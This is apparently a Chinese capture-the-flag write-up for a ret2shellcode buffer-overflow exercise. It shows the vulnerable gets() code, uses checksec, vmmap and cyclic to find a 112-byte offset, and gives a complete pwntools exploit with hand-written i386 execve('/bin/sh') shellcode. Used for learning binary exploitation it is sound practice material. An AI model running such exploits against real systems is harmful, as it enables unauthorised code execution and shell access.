1. 使用chesec检查文件保护的开启情况
2. 使用ojbdump查看是否存在system函数
3. 使用IDA查看反汇编后的伪C代码
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
发现函数get和strncpy,而且文件未开启NX保护,考虑使用ret2shellcode,将函数跳转到s或者buf2的位置,且构建shell覆盖其内存,若s或者buf2存在的段可执行,那么则可以getshell,查看其段的权限
4. 使用vmmap指令查看权限
我们找到了buf2的地址,而且看到其存在可执行的权限,于是尝试构建shell,覆盖buf2并且跳转到buf2
5. 构建payload
1. 使用cyclic查看偏移地址为112
2. 构造payload,生成exp.py
from pwn import * context (arch = "i386", os = "linux", log_level = "debug") p = process("./ret2shellcode2") #shellcode = asm (shellcraft.sh()) shellcode = asm (""" push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx push 11 pop eax int 0x80 """) payload = shellcode.ljust(112,‘a‘)+p32(0x804a080) p.sendline(payload) p.interactive()
可以使用asm(shellcraft.sh())自动生成,也可以自己构造(这里是32位的shellcode汇编代码)
6.运行exp.py,getshell
附录:
1. 32位shellcode源码
2. 64位shellcode源码